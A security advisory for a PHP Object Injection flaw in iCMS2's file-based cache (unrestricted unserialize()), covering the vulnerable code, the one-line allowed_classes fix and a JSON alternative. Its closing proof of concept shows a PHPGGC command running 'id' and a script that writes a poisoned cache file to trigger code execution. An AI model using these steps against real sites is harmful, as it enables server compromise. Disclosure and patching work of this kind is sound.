Back to advisories
GHSA-7mvq-hwhc-c98g High CVSS 7.5

PHP Object Injection via Cache Deserialization

A PHP Object Injection vulnerability exists in the file-based cache backend due to insecure usage of PHP’s unserialize() function. Successful exploitation may allow remote code execution under the privileges of the web server user.

Affected: icms2 < 2.18.1 Vendor: instantsoft Discovered: Reported: May 14, 2026 Patched: May 22, 2026 Reporter: Stefan Mitocaru

Details

iCMS2's file-based cache backend serializes values with PHP's serialize() before writing them to disk, then reads them back with an unrestricted unserialize() call. If an attacker can write a crafted payload into the cache directory through any secondary vulnerability, the deserialization sink will instantiate attacker-controlled objects and trigger magic method gadget chains, which can lead to remote code execution with the web server's privileges.


Summary

Field Value
Advisory GHSA-7mvq-hwhc-c98g
Severity High
CWE CWE-502 (Deserialization of Untrusted Data)
Package icms2 (PHP)
Affected < 2.18.1
Vulnerability PHP Object Injection via unserialize()
Impact Remote Code Execution

iCMS2's cmsCacheFiles class implements a file-based cache backend. It stores values by serializing them with serialize() and writing them into .php files on disk. When those files are read back, the stored value is passed directly to unserialize() with no restriction on which classes may be instantiated. If an attacker controls the contents of a cache file, they can inject a serialized object payload that causes PHP to invoke arbitrary __wakeup() or __destruct() gadgets the moment the cache entry is read.


How it works

The set() method serializes the value and writes it as a PHP file that returns a plain array:

// system/core/cachefiles.php
public function set($key, $value, $ttl) {
    $data = [
        'ttl'   => $ttl,
        'time'  => time(),
        'value' => serialize($value)
    ];
    $file_path_tmp = $file_path . '.tmp';
    $success = file_put_contents($file_path_tmp,
        '<?php return ' . var_export($data, true) . ';');
    // ...
}

The get() method pulls the file in with include and passes the stored string straight to unserialize():

public function get($key) {
    $data = include $file;
    // ...
    return unserialize($data['value']); // sink
}

There is no allowed_classes argument, so PHP will reconstruct whatever object the serialized string describes and automatically fire any magic methods on it.


Root Cause

The unserialize() call at the read path places no restriction on instantiable classes. This is the canonical prerequisite for PHP Object Injection. The missing argument is ['allowed_classes' => false], which would cause PHP to refuse to rebuild any object and return false instead of executing attacker-controlled code.


Prerequisites

This is a second-order vulnerability. The attacker needs a write primitive into the cache directory first. Realistic paths to that include:

  • A path traversal bug elsewhere in iCMS2
  • Symlink attacks on a shared hosting environment
  • Direct filesystem access from misconfigured permissions or a compromised FTP account
  • Any arbitrary file write vulnerability in another installed component Once the cache file is poisoned, exploitation is automatic: the next request that reads the affected cache key triggers the payload.

Fix

The fix is a one-line change in get():

// Before (vulnerable)
return unserialize($data['value']);

// After (safe for data caches)
return unserialize($data['value'], ['allowed_classes' => false]);

Passing ['allowed_classes' => false] tells PHP to refuse object instantiation during deserialization. A gadget payload still parses, but no object is ever built and no magic method fires.

A stronger long-term approach is to drop PHP serialization entirely for cache values and use JSON:

// Writing
'value' => json_encode($value)

// Reading
return json_decode($data['value'], true);

json_decode() never produces PHP objects, which eliminates this entire class of attack regardless of what gadgets exist in the codebase.


Key Takeaways

  • Any installation using the cmsCacheFiles backend with a writable cache directory is potentially vulnerable when combined with a write primitive.
  • The worst-case outcome is remote code execution with full database access and the ability to drop a persistent webshell.
  • The fix is a single-argument change to unserialize(), or a full migration to JSON serialization for cache values.
  • Treat every file the application reads from disk as untrusted if its write path is not tightly controlled.

Proof of Concept

Proof of Concept Sanitized for safety
Note: This proof of concept is published for educational and defensive purposes after coordinated disclosure. Do not use it against systems you do not own or have explicit permission to test.

Use PHPGGC to build a serialized payload around a gadget present in iCMS2 or its dependencies:

phpggc -l
phpggc Lib/RCE1 system 'id' -s
# Output: O:10:"SomeClass":1:{s:3:"cmd";s:2:"id";}

Craft a file that matches the exact structure cmsCacheFiles::get() expects, with the payload in the value field:

<?php
$payload = 'O:10:"SomeClass":1:{s:3:"cmd";s:2:"id";}';

$cache_content = '<?php return array (' . "\n"
    . "  'ttl'   => 99999,\n"
    . "  'time'  => " . time() . ",\n"
    . "  'value' => '" . $payload . "',\n"
    . ');';

// Delivered via path traversal, FTP, or any write primitive
file_put_contents('/var/www/icms2/cache/poc_cache_key.php', $cache_content);
echo "[+] Cache file poisoned\n";

Navigate to any page that reads the poisoned cache key, or reproduce the sink directly. The gadget's destructor runs under the web server account the moment unserialize() is called, confirming end-to-end code execution.

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →